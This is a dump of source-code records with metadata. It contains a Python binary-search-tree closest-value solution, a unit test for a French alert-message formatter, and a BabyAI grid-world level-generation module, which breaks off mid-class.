18.5

36

0.578378

17

185

6

0.529412

0.323529

0.352941

0

0.32973

185

9

37

20.555556

0.822581

0

0.037838

0

1

0.285714

false

0

0.142857

0.571429

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

b214c20a7bca9eeffba90d71efec35cd39ae1d56

1,192

py

Python

BST/closest.py

mladuke/Algorithms

eab5d89c5f496b2849f0646dbfa3a4db93a0b391

[ "MIT" ]

null

BST/closest.py

mladuke/Algorithms

eab5d89c5f496b2849f0646dbfa3a4db93a0b391

[ "MIT" ]

null

BST/closest.py

mladuke/Algorithms

eab5d89c5f496b2849f0646dbfa3a4db93a0b391

[ "MIT" ]

null

def findClosestValueInBst(tree, target): # Write your code here. node = tree delta = 1000000000000000 closest = None path = True while (path): path = False current = node.value if (current == target): return target elif (current < target): if ((target-current)<delta): delta = target-current closest = current if (node.right!=None): node = node.right path = True elif (current > target): if ((current-target)<delta): delta = current-target closest = current if (node.left !=None): node = node.left path = True return closest def findClosestValueInBst(tree, target): # Write your code here. node = tree delta = 1000000000000000 closest = None path = True while (path): path = False current = node.value if (current == target): return target elif (current < target): if ((target-current)<delta): delta = target-current closest = current if (node.right!=None): node = node.right path = True elif (current > target): if ((current-target)<delta): delta = current-target closest = current if (node.left !=None): node = node.left path = True return closest

22.490566

44

0.639262

144

1,192

5.291667

0.166667

0.170604

0.07874

0.099738

1

0

0.035714

0.248322

1,192

53

45

22.490566

0.814732

0

1

0

0.018868

0

null

0

null

0

null

0

1

0

1

0

null

0

1

0

1

0

9

b220255f60193e54c35cfb77ffd1bf242baea858

1,388

py

Python

IotEdgeModules/modules/DataProcessing/src/tests/processing/alerts/test_message_creator.py

muglyon/SmartFactory

c02af03f5e1cb5593103937c65a2d0bc4ed4af6c

[ "MIT" ]

5

2020-11-06T18:35:57.000Z

2021-04-30T07:16:42.000Z

IotEdgeModules/modules/DataProcessing/src/tests/processing/alerts/test_message_creator.py

muglyon/SmartFactory

c02af03f5e1cb5593103937c65a2d0bc4ed4af6c

[ "MIT" ]

5

2020-11-05T13:39:28.000Z

2021-12-09T04:37:30.000Z

IotEdgeModules/modules/DataProcessing/src/tests/processing/alerts/test_message_creator.py

muglyon/SmartFactory

c02af03f5e1cb5593103937c65a2d0bc4ed4af6c

[ "MIT" ]

8

2020-09-25T10:07:15.000Z

2022-03-11T06:26:30.000Z

from unittest import TestCase from processing.alerts.message_creator import message_creator class Test(TestCase): def test_message_creator(self): self.assertEqual( message_creator("Key1", 1, 2, "2020-10-22T14:16:32.158Z", "eq"), "'1' égal à '2' pour la mesure 'Key1' le '2020-10-22T14:16:32.158Z'" ) self.assertEqual( message_creator("Key1", 1, 2, "2020-10-22T14:16:32.158Z", "neq"), "'1' différent de '2' pour la mesure 'Key1' le '2020-10-22T14:16:32.158Z'" ) self.assertEqual( message_creator("Key1", 1, 2, "2020-10-22T14:16:32.158Z", "gt"), "'1' supérieur ou égal à '2' pour la mesure 'Key1' le '2020-10-22T14:16:32.158Z'" ) self.assertEqual( message_creator("Key1", 1, 2, "2020-10-22T14:16:32.158Z", "gte"), "'1' supérieur à '2' pour la mesure 'Key1' le '2020-10-22T14:16:32.158Z'" ) self.assertEqual( message_creator("Key1", 1, 2, "2020-10-22T14:16:32.158Z", "lt"), "'1' inférieur ou égal à '2' pour la mesure 'Key1' le '2020-10-22T14:16:32.158Z'" ) self.assertEqual( message_creator("Key1", 1, 2,"2020-10-22T14:16:32.158Z", "lte"), "'1' inférieur à '2' pour la mesure 'Key1' le '2020-10-22T14:16:32.158Z'" )

46.266667

93

0.556916

198

1,388

3.853535

0.19697

0.094364

0.173001

0.204456

0.750983

0

0.240722

0.2817

1,388

29

94

47.862069

0.524574

0

0.214286

0

0.214286

0.447406

0.216138

0

0.214286

1

0.035714

false

0

0.071429

0

0.142857

0

null

0

1

0

1

0

1

0

1

0

null

0

8

b272d7981ab73ece95f86278b2d05c7bbb0037c4

56,252

py

Python

afk-q-babyai/babyai/levels/info_seeking_levels.py

IouJenLiu/AFK

db2b47bb3a5614b61766114b87f143e4a61a4a8d

[ "MIT" ]

1

2022-03-12T03:10:29.000Z

afk-q-babyai/babyai/levels/info_seeking_levels.py

IouJenLiu/AFK

db2b47bb3a5614b61766114b87f143e4a61a4a8d

[ "MIT" ]

null

afk-q-babyai/babyai/levels/info_seeking_levels.py

IouJenLiu/AFK

db2b47bb3a5614b61766114b87f143e4a61a4a8d

[ "MIT" ]

null

import gym from gym_minigrid.envs import Key, Ball, Box from .levelgen import * from .objects import DoorWID, KeyWID, BoxWID import random import copy from gym_minigrid.minigrid import fill_coords, point_in_rect, point_in_line, WorldObj, COLORS from .utils import * import itertools as itt class Goal(WorldObj): def __init__(self, color): super().__init__('goal', color) def can_overlap(self): return True def render(self, img): fill_coords(img, point_in_rect(0, 1, 0, 1), COLORS[self.color]) class Oracle(Ball): def __init__(self, color): super().__init__(color) def can_overlap(self): return True class Level_GoToFavorite3Room(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size * 2 - 3, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.names = ['jack', 'mary'] super().__init__( num_rows=1, num_cols=3, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) self.room_grid[0][1].door_pos[0] = (12, 5) self.room_grid[0][2].door_pos[2] = (12, 5) self.add_door(0, 0, door_idx=0, locked=False) self.add_door(1, 0, door_idx=0, locked=False) # Place obstacles (lava or walls) #self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) #add_danger_tiles_anti_diag(self) #self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) #add_danger_tiles_diag(self) #self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) #add_danger_tiles_anti_diag(self, offset=12) if self.call: self.grid.set(2, 1, None) self.agent_pos = (self.room_size, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 self.open_all_doors() # GoToFav self.num_dists = 2 objs = [] obj = create_rnd_obj(self) place_obj(self, 1, self.room_size - 2, obj) objs.append(obj) obj = create_rnd_obj(self) place_obj(self, (self.room_size - 1) * 3 - 1, 1, obj) objs.append(obj) target_obj = self._rand_elem(objs) self.instrs = FavoriteInstr(ObjDesc(target_obj.type, target_obj.color), name=self.names[0], surface="go to {} toy".format(self.names[0]), danger=False) room_id = (target_obj.cur_pos[0] // self.room_size) + (target_obj.cur_pos[1] // self.room_size) * self.num_cols self.useful_answers = ['{} toy is {} {}'.format(self.names[0], target_obj.color, target_obj.type), '{} {} in room{}'.format(target_obj.color, target_obj.type, room_id)] class Level_DangerBalancedDiverse(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size - 2, room_size - 2) self.agent_start_pos = (2, 1) self.call = call super().__init__( num_rows=1, num_cols=1, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) height, width = self.room_size, self.room_size # Place obstacles (lava or walls) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) v, h = object(), object() # singleton `vertical` and `horizontal` objects # Lava rivers or walls specified by direction and position in grid rivers = [(v, i) for i in range(2, height - 2, 2)] rivers += [(h, j) for j in range(2, width - 2, 2)] self.np_random.shuffle(rivers) rivers = rivers[:self.num_crossings] # sample random rivers rivers_v = sorted([pos for direction, pos in rivers if direction is v]) rivers_h = sorted([pos for direction, pos in rivers if direction is h]) obstacle_pos = itt.chain( itt.product(range(1, width - 1), rivers_h), itt.product(rivers_v, range(1, height - 1)), ) colored_tiles = [set(), set()] for i, j in obstacle_pos: color_idx = self.np_random.randint(0, 2) self.grid.set(i, j, Lava(self.lava_colors[color_idx])) colored_tiles[color_idx].add((i, j)) path = [h] * len(rivers_v) + [v] * len(rivers_h) self.np_random.shuffle(path) # Create openings limits_v = [0] + rivers_v + [height - 1] limits_h = [0] + rivers_h + [width - 1] room_i, room_j = 0, 0 openings = set() for direction in path: if direction is h: i = limits_v[room_i + 1] j = self.np_random.choice( range(limits_h[room_j] + 1, limits_h[room_j + 1])) room_i += 1 elif direction is v: i = self.np_random.choice( range(limits_v[room_i] + 1, limits_v[room_i + 1])) j = limits_h[room_j + 1] room_j += 1 else: assert False self.grid.set(i, j, Lava(self.lava_colors[self.target_idx])) openings.add((i, j)) if (i, j) in colored_tiles[1 - self.target_idx]: a, b = None, None while colored_tiles[self.target_idx]: a, b = colored_tiles[self.target_idx].pop() if (a, b) not in openings: break if not colored_tiles[self.target_idx]: a, b = None, None break if a is not None: self.grid.set(a, b, Lava(self.lava_colors[1 - self.target_idx])) #self.grid.set(i, j, None) self.instrs = GoToGoalInstr() self.put_obj(Goal('green'), *self.goal_pos) if self.call: self.grid.set(2, 1, None) self.agent_pos = (2, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 self.useful_answers = ['danger zone is {}'.format(self.lava_colors[1 - self.target_idx])] class Level_DangerBalancedDiverseMove(Level_DangerBalancedDiverse): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=False) class Level_DangerBalancedDiverseRS9(Level_DangerBalancedDiverse): def __init__(self, seed=None, room_size=9): super().__init__(seed=seed, room_size=room_size) class Level_OpenDoorMultiKeys(RoomGridLevel): def __init__(self, seed=None): room_size = 7 super().__init__( num_rows=1, num_cols=2, room_size=room_size, seed=seed ) self.real_key_color = None def gen_mission(self): #colors = self._rand_subset(COLOR_NAMES, 2) colors = COLOR_NAMES[0:3] n_keys = 3 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) self.locked_door, _ = add_id_door(self, 0, 0, id=locked_door_id, door_idx=0, color=colors[0], locked=True) for i in range(n_keys): obj, _ = add_id_object(self, 0, 0, id=i, kind="key", color=colors[i]) if i == locked_door_id: self.real_key_color = colors[i] self.place_agent(0, 0) self.instrs = OpenInstr(ObjDesc(self.locked_door.type, color=self.locked_door.color)) self.useful_answers = ['{} key to {} door'.format(self.real_key_color, self.locked_door.color)] class Level_DangerBalancedDiverseNeg(Level_DangerBalancedDiverse): def __init__(self, seed=None): super().__init__(seed=seed, failure_neg=True) #### Two Compositional class Level_DangerOpenDoor(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False, anti_danger=True, n_rivers=3, open_door_bonus=True): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size * 2 - 3, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.failure_neg = failure_neg self.anti_danger = anti_danger self.max_n_rivers = n_rivers self.open_door_bonus = open_door_bonus super().__init__( num_rows=1, num_cols=2, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) # Place obstacles (lava or walls) if self.anti_danger: self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) add_danger_tiles_diag(self) self.instrs = GoToGoalInstr(door=self.open_door_bonus) #self.put_obj(Goal('green'), *self.goal_pos) if self.call: self.grid.set(2, 1, None) self.agent_pos = (1, self.room_size - 2) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 # Open Door Part colors = COLOR_NAMES[0:3] n_keys = 2 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) self.locked_door, _ = add_id_door(self, 0, 0, id=locked_door_id, door_idx=0, color=colors[0], locked=True) self.target_doors = [self.locked_door] for i in range(n_keys): obj = KeyWID(i, colors[i]) if i == 0: self.grid.set(self.room_size - 3, 1, obj) elif i == 1: self.grid.set(self.room_size - 2, 2, obj) if i == locked_door_id: self.real_key_color = colors[i] self.put_obj(Goal('green'), *self.goal_pos) self.useful_answers = ['danger zone is {}, {} key to {} door'.format(self.lava_colors[1 - self.target_idx], self.real_key_color, self.locked_door.color)] class Level_DangerOpenDoorV2(Level_DangerOpenDoor): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, open_door_bonus=False) class Level_OpenDoorObjInBox(RoomGridLevel): def __init__(self, seed=None, n_boxes=2, failure_neg=False): room_size = 7 self.n_boxes = n_boxes self.names = ['jack', 'mary'] super().__init__( num_rows=1, num_cols=2, room_size=room_size, seed=seed, failure_neg=failure_neg ) self.real_key_color = None def gen_mission(self): colors = COLOR_NAMES[0:3] n_keys = 2 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) self.locked_door, _ = add_id_door(self, 0, 0, id=locked_door_id, door_idx=0, color=colors[0], locked=True) self.target_doors = [self.locked_door] for i in range(n_keys): obj, _ = add_id_object(self, 0, 0, id=i, kind="key", color=colors[i]) if i == locked_door_id: self.real_key_color = colors[i] # ObjInBox Part colors = COLOR_NAMES[:self.n_boxes] shuffled_colors = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors) shuffled_colors2 = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors2) target_id = self._rand_int(0, self.n_boxes) toy_owner = self._rand_int(0, 2) box_owner = 1 - toy_owner for i in range(self.n_boxes): ball = Ball(color=shuffled_colors[i]) box = Box(color=shuffled_colors2[i], contains=ball) self.place_in_room(1, 0, box) if i == target_id: self.box_owner = self.names[box_owner] self.target_box = box self.instrs = FindOrFailInstr(ObjDesc(ball.type, ball.color), surface='find the key to the door, and find ' + self.names[toy_owner] + ' toy', door=True) self.useful_answers = ['{} toy is {} ball'.format(self.names[toy_owner], ball.color), '{} ball in {} suitcase'.format(ball.color, self.names[box_owner]), '{} suitcase {} box'.format(self.names[box_owner], self.target_box.color), '{} box in room1'.format(self.target_box.color)] self.place_agent(0, 0) self.useful_answers.append('{} key to the door'.format(self.real_key_color)) class Level_OpenDoorGoToFavorite(RoomGridLevel): """ Go to an object, the object may be in another room. Many distractors. """ def __init__( self, room_size=5, num_rows=3, num_cols=3, num_dists=3, doors_open=False, seed=None, all_doors=True, num_colors=2, oracle_mode='call' ): self.num_dists = num_dists self.doors_open = doors_open self.num_rows = num_rows self.num_cols = num_cols self.all_doors = all_doors self.num_colors = num_colors self.names = ['jack', 'mary'] self.others_fav = None self.oracle_mode = oracle_mode super().__init__( num_rows=num_rows, num_cols=num_cols, room_size=room_size, seed=seed ) def gen_mission(self): agent_room_i = self._rand_int(0, self.num_cols) agent_room_j = self._rand_int(0, self.num_rows) self.place_agent(agent_room_i, agent_room_j) locked = False if self.all_doors: add_id_door(self, 0, 0, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 1, id=100, door_idx=0, locked=locked) add_id_door(self, 1, 1, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 2, id=100, door_idx=0, locked=locked) add_id_door(self, 1, 2, id=100, door_idx=0, locked=locked) add_id_door(self, 0, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 1, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 2, 0, id=100, door_idx=1, locked=locked) add_id_door(self, 0, 1, id=100, door_idx=1, locked=locked) add_id_door(self, 1, 1, id=100, door_idx=1, locked=locked) add_id_door(self, 2, 1, id=100, door_idx=1, locked=locked) else: self.connect_all() objs = self.add_distractors(num_distractors=self.num_dists, all_unique=True, num_colors=self.num_colors) obj = self._rand_elem(objs) self.check_objs_reachable() random.shuffle(self.names) self.instrs = FavoriteInstr(ObjDesc(obj.type, obj.color), name=self.names[0], surface='find the key to the door, go to {} toy'.format(self.names[0]), open_door=True) room_id = (obj.cur_pos[0] // self.room_size) + (obj.cur_pos[1] // self.room_size) * self.num_cols target_obj = obj self.others_fav = self._rand_elem(objs) if self.doors_open: self.open_all_doors() if self.oracle_mode == 'single_move': oracle = Oracle(color='red') self.place_in_room(agent_room_i, agent_room_j, oracle) self.oracle = oracle # OpenDoor colors = COLOR_NAMES[0:3] n_keys = 2 # Add a door of color A connecting left and middle room locked_door_id = self._rand_int(0, n_keys) #self.locked_door, _ = self.add_id_door(0, 0, id=locked_door_id, door_idx=0, color=colors[0], locked=True) for i in range(n_keys): obj, _ = add_id_object(self, agent_room_i, agent_room_j, id=i, kind="key", color=colors[i]) if i == locked_door_id: self.real_key_color = colors[i] self.target_doors = [] room_i, room_j = room_id // 3, room_id % 3 for door in self.room_grid[room_i][room_j].doors: if door is not None: door.is_locked = True door.id = locked_door_id self.target_doors.append(door) self.useful_answers = ['{} toy is {} {}'.format(self.names[0], target_obj.color, target_obj.type), '{} {} in room{}'.format(target_obj.color, target_obj.type, room_id), '{} key to the door'.format(self.real_key_color) ] def add_distractors(self, i=None, j=None, num_distractors=10, all_unique=True, num_colors=2): """ Add random objects that can potentially distract/confuse the agent. """ # Collect a list of existing objects objs = [] for row in self.room_grid: for room in row: for obj in room.objs: objs.append((obj.type, obj.color)) # List of distractors added dists = [] while len(dists) < num_distractors: color = self._rand_elem(COLOR_NAMES[:num_colors]) type = self._rand_elem(['ball', 'box']) obj = (type, color) if all_unique and obj in objs: continue # Add the object to a random room if no room specified room_i = i room_j = j if room_i == None: room_i = self._rand_int(0, self.num_cols) if room_j == None: room_j = self._rand_int(0, self.num_rows) dist, pos = self.add_object(room_i, room_j, *obj) objs.append(obj) dists.append(dist) return dists class Level_GoToFavoriteObjInBox(RoomGridLevel): """ Go to an object, the object may be in another room. Many distractors. """ def __init__( self, room_size=5, num_rows=3, num_cols=3, num_dists=3, doors_open=True, seed=None, all_doors=True, num_colors=2, oracle_mode='call', failure_neg=False ): self.num_dists = num_dists self.doors_open = doors_open self.num_rows = num_rows self.num_cols = num_cols self.all_doors = all_doors self.num_colors = num_colors self.names = ['jack', 'mary'] self.others_fav = None self.oracle_mode = oracle_mode self.n_boxes = 2 super().__init__( num_rows=num_rows, num_cols=num_cols, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): agent_room_i = self._rand_int(0, self.num_cols) agent_room_j = self._rand_int(0, self.num_rows) self.place_agent(agent_room_i, agent_room_j) locked = False if self.all_doors: self.add_door(0, 0, door_idx=0, locked=locked) self.add_door(1, 0, door_idx=0, locked=locked) self.add_door(0, 1, door_idx=0, locked=locked) self.add_door(1, 1, door_idx=0, locked=locked) self.add_door(0, 2, door_idx=0, locked=locked) self.add_door(1, 2, door_idx=0, locked=locked) self.add_door(0, 0, door_idx=1, locked=locked) self.add_door(1, 0, door_idx=1, locked=locked) self.add_door(2, 0, door_idx=1, locked=locked) self.add_door(0, 1, door_idx=1, locked=locked) self.add_door(1, 1, door_idx=1, locked=locked) self.add_door(2, 1, door_idx=1, locked=locked) else: self.connect_all() if self.doors_open: self.open_all_doors() if self.oracle_mode == 'single_move': oracle = Oracle(color='red') self.place_in_room(agent_room_i, agent_room_j, oracle) self.oracle = oracle # ObjInBox colors = COLOR_NAMES[:self.n_boxes] shuffled_colors = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors) shuffled_colors2 = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors2) target_id = self._rand_int(0, self.n_boxes) toy_owner = self._rand_int(0, 2) box_owner = 1 - toy_owner for i in range(self.n_boxes): ball = Ball(color=shuffled_colors[i]) box = Box(color=shuffled_colors2[i], contains=ball) self.place_in_room(self.np_random.randint(0, 3), self.np_random.randint(0, 3), box) if i == target_id: self.box_owner = self.names[box_owner] self.target_box = box self.instrs = FindOrFailInstr(ObjDesc(ball.type, ball.color), surface='find ' + self.names[toy_owner] + ' toy') self.useful_answers = ['{} toy is {} ball'.format(self.names[toy_owner], ball.color), '{} ball in {} suitcase'.format(ball.color, self.names[box_owner]), '{} suitcase is {} box'.format(self.names[box_owner], self.target_box.color)] def add_distractors(self, i=None, j=None, num_distractors=10, all_unique=True, num_colors=2): """ Add random objects that can potentially distract/confuse the agent. """ # Collect a list of existing objects objs = [] for row in self.room_grid: for room in row: for obj in room.objs: objs.append((obj.type, obj.color)) # List of distractors added dists = [] while len(dists) < num_distractors: color = self._rand_elem(COLOR_NAMES[:num_colors]) type = self._rand_elem(['ball', 'box']) obj = (type, color) if all_unique and obj in objs: continue # Add the object to a random room if no room specified room_i = i room_j = j if room_i == None: room_i = self._rand_int(0, self.num_cols) if room_j == None: room_j = self._rand_int(0, self.num_rows) dist, pos = self.add_object(room_i, room_j, *obj) objs.append(obj) dists.append(dist) return dists class Level_DangerObjInBox(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size - 2, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.n_boxes = 2 self.names = ['jack', 'mary'] super().__init__( num_rows=1, num_cols=1, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) # Place obstacles (lava or walls) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) add_danger_tiles_anti_diag(self) if self.call: self.grid.set(2, 1, None) self.agent_pos = (2, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 colors = COLOR_NAMES[:self.n_boxes] shuffled_colors = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors) shuffled_colors2 = copy.deepcopy(colors) self.np_random.shuffle(shuffled_colors2) target_id = self._rand_int(0, self.n_boxes) toy_owner = self._rand_int(0, 2) box_owner = 1 - toy_owner for i in range(self.n_boxes): ball = Ball(color=shuffled_colors[i]) box = Box(color=shuffled_colors2[i], contains=ball) if i == 0: self.grid.set(1, self.room_size - 2, box) else: self.grid.set(self.room_size - 2, self.room_size - 2, box) self.get_room(0, 0).objs.append(box) if i == target_id: self.box_owner = self.names[box_owner] self.target_box = box self.instrs = FindOrFailInstr(ObjDesc(ball.type, ball.color), surface='Avoid danger zone, find ' + self.names[toy_owner] + ' toy', danger=True) self.useful_answers = ['{} toy is {} ball'.format(self.names[toy_owner], ball.color), '{} ball in {} suitcase'.format(ball.color, self.names[box_owner]), '{} suitcase is {} box'.format(self.names[box_owner], self.target_box.color), 'danger zone is {}'.format(self.lava_colors[1 - self.target_idx])] #print(self.useful_answers) class Level_DangerGoToFav(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False, anti_danger=True, n_rivers=3): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size * 2 - 3, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.names = ['jack', 'mary'] self.anti_danger = anti_danger self.max_n_rivers = n_rivers super().__init__( num_rows=1, num_cols=3, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) self.room_grid[0][1].door_pos[0] = (12, 5) self.room_grid[0][2].door_pos[2] = (12, 5) self.add_door(0, 0, door_idx=0, locked=False) self.add_door(1, 0, door_idx=0, locked=False) # Place obstacles (lava or walls) if self.anti_danger: self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self) self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self, offset=12) self.num_crossings = self.np_random.randint(1, (self.room_size - 3)) add_danger_tiles_diag(self) if self.call: self.grid.set(2, 1, None) self.agent_pos = (self.room_size, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 self.open_all_doors() # GoToFav self.num_dists = 2 objs = [] obj = create_rnd_obj(self) place_obj(self, 1, self.room_size - 2, obj) objs.append(obj) obj = create_rnd_obj(self) place_obj(self, (self.room_size - 1) * 3 - 1, 1, obj) objs.append(obj) target_obj = self._rand_elem(objs) self.instrs = FavoriteInstr(ObjDesc(target_obj.type, target_obj.color), name=self.names[0], surface="avoid danger zone, go to {} toy".format(self.names[0]), danger=True) room_id = (target_obj.cur_pos[0] // self.room_size) + (target_obj.cur_pos[1] // self.room_size) * self.num_cols self.useful_answers = ['{} toy is {} {}'.format(self.names[0], target_obj.color, target_obj.type), '{} {} in room{}'.format(target_obj.color, target_obj.type, room_id), 'danger zone is {}'.format(self.lava_colors[1 - self.target_idx])] #print(self.useful_answers) class Level_DangerGoToFavSymmetry(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False, n_rivers=3): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size * 2 - 3, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.names = ['jack', 'mary'] self.max_n_rivers = n_rivers super().__init__( num_rows=1, num_cols=3, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) self.room_grid[0][1].door_pos[0] = (12, 1) self.room_grid[0][2].door_pos[2] = (12, 1) self.add_door(0, 0, door_idx=0, locked=False) self.add_door(1, 0, door_idx=0, locked=False) # Place obstacles (lava or walls) self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self) self.num_crossings = self.np_random.randint(1, 4) add_danger_tiles_middle(self, offset=6) self.num_crossings = self.np_random.randint(1, (self.max_n_rivers + 1)) add_danger_tiles_diag(self, offset=12) if self.call: self.grid.set(2, 1, None) self.agent_pos = (self.room_size + 2, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 self.open_all_doors() # GoToFav self.num_dists = 2 objs = [] obj = create_rnd_obj(self) place_obj(self, 1, self.room_size - 2, obj) objs.append(obj) obj = create_rnd_obj(self) place_obj(self, (self.room_size - 1) * 3 - 1, self.room_size - 2, obj) objs.append(obj) target_obj = self._rand_elem(objs) self.instrs = FavoriteInstr(ObjDesc(target_obj.type, target_obj.color), name=self.names[0], surface="avoid danger zone, go to {} toy".format(self.names[0]), danger=True) room_id = (target_obj.cur_pos[0] // self.room_size) + (target_obj.cur_pos[1] // self.room_size) * self.num_cols self.useful_answers = ['{} toy is {} {}'.format(self.names[0], target_obj.color, target_obj.type), '{} {} in room{}'.format(target_obj.color, target_obj.type, room_id)] class Level_DangerGoToFav2Room(RoomGridLevel): def __init__(self, seed=None, room_size=7, call=True, failure_neg=False, anti_danger=True, n_rivers=3): self.lava_colors = ['yellow', 'blue'] self.n_target = 2 self.goal_pos = (room_size * 2 - 3, room_size - 2) self.agent_start_pos = (2, 1) self.call = call self.names = ['jack', 'mary'] self.anti_danger = anti_danger self.max_n_rivers = n_rivers super().__init__( num_rows=1, num_cols=2, room_size=room_size, seed=seed, failure_neg=failure_neg ) def gen_mission(self): self.target_idx = self.np_random.randint(0, self.n_target) self.room_grid[0][0].door_pos[0] = (6, 1) self.room_grid[0][1].door_pos[2] = (6, 1) self.add_door(0, 0, door_idx=0, locked=False) # Place obstacles (lava or walls) if self.anti_danger: self.num_crossings = self.np_random.randint(1, self.max_n_rivers + 1) add_danger_tiles_anti_diag(self) self.num_crossings = self.np_random.randint(1, (self.max_n_rivers + 1)) add_danger_tiles_diag(self) if self.call: self.grid.set(2, 1, None) self.agent_pos = (self.room_size - 1, 1) else: self.grid.set(1, 1, None) self.grid.set(2, 1, None) self.grid.set(3, 1, None) self.agent_pos = (1, 1) self.oracle_pos = (3, 1) self.grid.set(*self.oracle_pos, Oracle(color='red')) self.agent_dir = 1 self.open_all_doors() # GoToFav self.num_dists = 2 objs = [] obj = create_rnd_obj(self) place_obj(self, 1, self.room_size - 2, obj) objs.append(obj) obj = create_rnd_obj(self) place_obj(self, (self.room_size - 1) * 2 - 1, self.room_size - 2, obj) objs.append(obj) target_obj = self._rand_elem(objs) self.instrs = FavoriteInstr(ObjDesc(target_obj.type, target_obj.color), name=self.names[0], surface="avoid danger zone, go to {} toy".format(self.names[0]), danger=True) room_id = (target_obj.cur_pos[0] // self.room_size) + (target_obj.cur_pos[1] // self.room_size) * self.num_cols self.useful_answers = ['{} toy is {} {}'.format(self.names[0], target_obj.color, target_obj.type), '{} {} in room{}'.format(target_obj.color, target_obj.type, room_id), 'danger zone is {}'.format(self.lava_colors[1 - self.target_idx]) ] class Level_DangerOpenDoorNeg(Level_DangerOpenDoor): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=True) class Level_DangerGoToFavNeg(Level_DangerGoToFav): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=True) class Level_DangerObjInBoxNeg(Level_DangerObjInBox): def __init__(self, seed=None, room_size=7): super().__init__(seed=seed, room_size=room_size, call=True, failure_neg=True) class 